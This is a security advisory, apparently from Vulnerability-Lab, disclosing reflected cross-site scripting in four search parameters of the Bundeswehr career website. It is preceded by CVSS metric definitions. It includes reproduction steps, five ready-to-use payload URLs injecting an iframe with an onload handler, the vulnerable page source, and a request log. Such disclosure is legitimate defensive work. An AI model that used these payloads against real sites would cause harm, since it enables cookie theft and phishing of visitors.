The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Below is a copy: Bundeswehr Karriere Cross Site Scripting
Document Title:
===============
Bundeswehr Karriere - Cross Site Scripting Vulnerability
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2213
Vulnerability Magazine:
https://www.vulnerability-db.com/?q=articles/2020/04/04/bundeswehr-career-page-weak-spot-permanently-closed
Video: https://www.vulnerability-lab.com/get_content.php?id=2197
Release Date:
=============
2020-04-15
Vulnerability Laboratory ID (VL-ID):
====================================
2213
Common Vulnerability Scoring System:
====================================
4
Vulnerability Class:
====================
Cross Site Scripting - Non Persistent
Current Estimated Price:
========================
1.000 - 2.000
Product & Service Introduction:
===============================
Als Bundeswehr bezeichnet man die Streitkrfte der Bundesrepublik
Deutschland einschlielich der Bundeswehrverwaltung und
weiterer Organisationsbereiche, die im Geschftsbereich des
Bundesministeriums der Verteidigung liegen. Die BWI Informationstechnik
GmbH wurde 2006 von Bundeswehr, IBM und Siemens gegrndet. Zusammen mit
den Gesellschaften BWI Systeme GmbH und BWI
Services GmbH bildet sie den BWI Leistungsverbund zur Umsetzung von
Herkules, der grten ffentlich-privaten
Partnerschaft in Europa.
(Copy of the Homepage: https://de.wikipedia.org/wiki/Bundeswehr)
(Copy of the Homepage:
https://de.wikipedia.org/wiki/BWI_Informationstechnik)
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core APT Research Team has identified
several cross site scripting vulnerabilities in a
web application of the German Bundeswehr. The Bundeswehr career portal
is affected.
Affected Product(s):
===============
Hersteller: Bundeswehr
Technology:Web-Server
Produkt: Bundeswehr Karriereportal (Web-Applikation)
Module:Suchmaschine - Karriere
Dienstleister: BWI
Vulnerability Disclosure Timeline:
==================================
2020-04-15: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Authentication Type:
====================
Pre auth - no privileges
User Interaction:
=================
Low User Interaction
Disclosure Type:
================
Coordinated Disclosure
Technical Details & Description:
================================
Several non-persistent cross site scripting scripting security
vulnerabilities have been discovered in the official career site of
the German Bundeswehr. The vulnerability type allows attackers to
manipulate client-side controlled application calls.
The cross site scripting vulnerabilities are located in the
'termination', 'interests', 'careers' and 'search' parameters of
the 'career' module in the 'search' function. The GET method request is
not cleanly cleaned up when retrieving with the vulnerable
parameters. There is no validation where the request is intercepted,
cleaned or filtered. As a result,
attackers can submit their own malicious input to the https request to
the official Bundeswehr career website. In the
search, all parameters from the new page are listed and thus finally
executed via the request. In the case of a
successful attack, an attacker could, for example, steal session
information such as cookies, generate phishing pages,
identify persons with external calls, integrate client-side exploits
(drive-by) or redirect to harmful web server pages.
Since the web server should recognize all external sources or integrated
calls, there may be a problem with the
security of the SSL certificate via the Same Origin Policy.
The security risk of cross site scripting vulnerabilities in the search
function of the web application are considered medium.
To exploit the vulnerability, an attacker does not need a web
application user account, but does require light user
interaction by visiting a link. Exploitation of the vulnerability
results in the theft of cookie information, calling harmful
external sources in the Bundeswehr web context or spear phishing attacks.
Request Method(s):
[+] GET
Vulnerable Service(s):
[+] Bundeswehr Karriere (Web-Applikation) www.bundeswehrkarriere.de
Vulnerable Module(s):
[+] Karriere Suche (ajax/filterlist/de/auswahl/33050/)
Vulnerable Parameter(s):
[+] Abschluss
[+] Interessen
[+] Laufbahnen
[+] Suche
Proof of Concept (PoC):
=======================
The vulnerabilities can be exploited by attackers without a privileged
user account but with light user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.
Manuelle Schritte zum reproduzieren der Sicherheitslcke
1. ffne die Bundeswehr Karriere Webseite
Note: https://www.bundeswehrkarriere.de/karriere
2. Starte einen http/https protocol session tamper zum eingreifen in den
Aufruf (live)
3. Starte eine Suche und klick auf die Lupe
4. Beim suchen fgt der Angreifer live im session tamper programm im GET
method request seine payloads ein
5. Der Inhalt der Parameter wird unten in der Suche ausgegeben und fhrt
sich direkt aus
6. Erfolgreiche Reproduktion der Sicherheitslcke!
PoC: Payloads (Exploitation)
https://www.bundeswehrkarriere.de/karriere#auswahl=Militaerisch/Zivil:%20%3E%22%3Ciframe%20src=evil.source%20onload=alert(%22CYBERALLIANZ%22)%3E;Abschluss:Abitur;Interessen:Fuehrung;Laufbahnen:Unteroffiziere;Suche:test
https://www.bundeswehrkarriere.de/karriere#auswahl=Militaerisch/Zivil:Militaerisch;Abschluss:Abitur;Interessen:Fuehrung;Laufbahnen:%20%3E%22%3Ciframe%20src=evil.source%20onload=alert(%22CYBERALLIANZ%22)%3E;Suche:test
https://www.bundeswehrkarriere.de/karriere#auswahl=Militaerisch/Zivil:Militaerisch;Abschluss:Abitur;Interessen:%20%3E%22%3Ciframe%20src=evil.source%20onload=alert(%22CYBERALLIANZ%22)%3E;Laufbahnen:Unteroffiziere;Suche:test
https://www.bundeswehrkarriere.de/karriere#auswahl=Militaerisch/Zivil:Militaerisch;Abschluss:%20%3E%22%3Ciframe%20src=evil.source%20onload=alert(%22CYBERALLIANZ%22)%3E;Interessen:Fuehrung;Laufbahnen:Unteroffiziere;Suche:test
https://www.bundeswehrkarriere.de/karriere#auswahl=Militaerisch/Zivil:Militaerisch;Abschluss:Abitur;Interessen:Fuehrung;Laufbahnen:Unteroffiziere;Suche:test%20%3E%22%3Ciframe%20src=evil.source%20onload=alert(%22CYBERALLIANZ%22)%3E
PoC: Vulnerable Source
<div class="row">
<div class="col-lg-6 col-md-6 col-sm-6 col-xs-12 js-filter
js-filter-multi" data-defaultlabel="Bitte whlen Sie"
data-selectlabel="gewhlt" data-update="true"
data-required="false" data-disabled="true" data-connection="OR"
data-key="subjecttaxonomy" data-label="Organisationsbereiche"
data-id="33052">
<h5 class="">Organisationsbereiche</h5>
<select class="filter-select js-select select2-hidden-accessible"
multiple="" data-enable-placeholder="true" data-placeholder="Bitte
whlen Sie" tabindex="-1" style="" aria-hidden="true">
<option data-label="Bundeswehrverwaltung" data-id="31730"
data-facet="0" value="31730"
data-text="Bundeswehrverwaltung">Bundeswehrverwaltung</option>
<option data-label="Heer" data-id="31732" data-facet="0"
value="31732" data-text="Heer">Heer</option>
<option data-label="Luftwaffe" data-id="31820" data-facet="0"
value="31820" data-text="Luftwaffe">Luftwaffe</option>
<option data-label="Marine" data-id="31822" data-facet="0"
value="31822" data-text="Marine">Marine</option>
<option data-label="Streitkraeftebasis" data-id="31824"
data-facet="0" value="31824"
data-text="Streitkrftebasis">Streitkrftebasis</option>
<option data-label="Sanitaetsdienst" data-id="50290"
data-facet="0" value="50290"
data-text="Sanittsdienst">Sanittsdienst</option>
</select><span class="select2 select2-container
select2-container--default" dir="ltr" style="width: 155px;"><span
class="selection"><span class="select2-selection
select2-selection--multiple"
role="combobox" aria-autocomplete="list" aria-haspopup="true"
aria-expanded="false" tabindex="-1"><ul
class="select2-selection__rendered"><li class="select2-search
select2-search--inline first last">
<span tabindex="0" class="search-placeholder" data-title="Bitte whlen
Sie" data-defaulttitle="Bitte whlen Sie"><input
class="select2-selection--multiple select2-search__field" type="button">
</span></li></ul></span></span><span class="dropdown-wrapper"
aria-hidden="true"></span></span>
</div><div class="col-lg-6 col-md-6 col-sm-6 col-xs-12 js-filter
js-filter-single" data-defaultlabel="Bitte whlen Sie"
data-update="true" data-connection="OR" data-key="subjecttaxonomy"
data-required="false" data-disabled="true" data-label="Laufbahnen"
data-id="33122">
<h5 class="">Laufbahnen</h5>
<div class="btn-group-responsive">
<select class="filter-select js-select
select2-hidden-accessible" data-enable-placeholder="true"
data-placeholder="Bitte whlen Sie" tabindex="-1" style=""
aria-hidden="true">
<option>Bitte whlen Sie</option>
<option data-label="Mannschaften" data-id="31858"
data-facet="0" value="31858" data-text="Mannschaften">Mannschaften</option>
<option data-label="Unteroffiziere" data-id="31864"
data-facet="0" value="31864"
data-text="Unteroffiziere">Unteroffiziere</option>
<option data-label="Feldwebel" data-id="31860" data-facet="0"
value="31860" data-text="Feldwebel">Feldwebel</option>
<option data-label="Offiziere" data-id="31862" data-facet="0"
value="31862" data-text="Offiziere">Offiziere</option>
<option data-label="Reserve" data-id="50304" data-facet="0"
value="50304" data-text="Reserve">Reserve</option>
<option data-label="Mittlerer_Dienst" data-id="41976"
data-facet="0" value="41976" data-text="Mittlerer Dienst">Mittlerer
Dienst</option>
<option data-label="Gehobener_Dienst" data-id="41978"
data-facet="0" value="41978" data-text="Gehobener Dienst">Gehobener
Dienst</option>
<option data-label="Hoeherer_Dienst" data-id="41980"
data-facet="0" value="41980" data-text="Hherer Dienst">Hherer
Dienst</option>
</select><span class="select2 select2-container
select2-container--default select2-container--below" dir="ltr"
style="width: 125px;"><span class="selection">
<span class="select2-selection select2-selection--single"
role="combobox" aria-autocomplete="list" aria-haspopup="true"
aria-expanded="false" tabindex="0"
aria-labelledby="select2-kbwa-container"><span
class="select2-selection__rendered" id="select2-kbwa-container"
title="Unteroffiziere"><span><span class="js-label">Unteroffiziere</span>
<span class="caret"></span></span></span><span
class="select2-selection__arrow" role="presentation"><b
role="presentation"></b></span></span></span>
<span class="dropdown-wrapper" aria-hidden="true"></span></span>
</div>
</div></div>
<div class="row">
<div class="col-lg-12 col-md-12 col-sm-12 col-xs-12 js-filter
js-filter-search" data-update="true" data-connection="OR" data-key="search"
data-required="false" data-disabled="true" data-label="Suche"
data-id="33126">
<h5 class=" hidden">Suche</h5>
<div class="form-group">
<input class="form-control js-search-input"
placeholder="Suchbegriff" type="text">
<input id="search-term" class="js-search-submit" value="Suche"
type="button">
</div>
</div></div>
PoC: Execution
Suche
Laufbahn
Bitte whlen Sie**
AuswahlX
<javascript:void();>AbiturX>"<[MALICIOUS PAYLOAD!]
<javascript:void();>UnteroffiziereX>"<[MALICIOUS PAYLOAD!]
<javascript:void();>FuehrungX>"<[MALICIOUS PAYLOAD!]
<javascript:void();>test >"<[MALICIOUS PAYLOAD!]
//
Laufbahnen
* // Laufbahnen <#>
* // Jobprofile <#>
* // Auch interessant <#>
Keine Treffer gefunden
Bitte geben Sie Ihren bereits erreichten oder angestrebten
Schulabschluss an, damit wir Ihnen Ihre passenden Jobmglichkeiten
anzeigen koennen.
--- PoC Session Logs [GET] ---
Status: 200[OK]
GET
https://www.bundeswehrkarriere.de/ajax/filterlist/de/auswahl/33050/h_368f9ea9884c87f4c9d45368542ba48f?subjecttaxonomy=33120%2331848%3B33118%2331770%3B33052%2331732%3B33122%2341980%3B50510%2350470
&search=33126%23%3E%22%3Ciframe+src%3Dhttp%3A%2F%2Fwww.test.de%3E&limit=12&offset=0&sort=relevance+asc%3Bsearchdate+asc
Mime Type[text/html]
Request Header:
Host[www.bundeswehrkarriere.de]
Referer[https://www.bundeswehrkarriere.de/karriere]
Connection[keep-alive]
Response Header:
200 OK
Server[Apache]
Content-Type[text/html;charset=UTF-8]
Content-Language[de]
x-varnish[23952790]
Via[1.1 varnish-v4]
Accept-Ranges[bytes]
Connection[close]
Solution - Fix & Patch:
=======================
The security gap can be quickly resolved by the following work-around ...
1. Input fields must prevent the input of special characters (Disallow
Specialchars)
2. Parse or filter the content of the parameters via GET to prevent input
3. Use the escape function for the output at the end of the function
4. Check why the SSL certificate does not expire on external calls
Security Risk:
==============
The security risk of client-side cross site scripting web vulnerability
in the Bundeswehr career application is to be rated as medium.
Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.
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=========================
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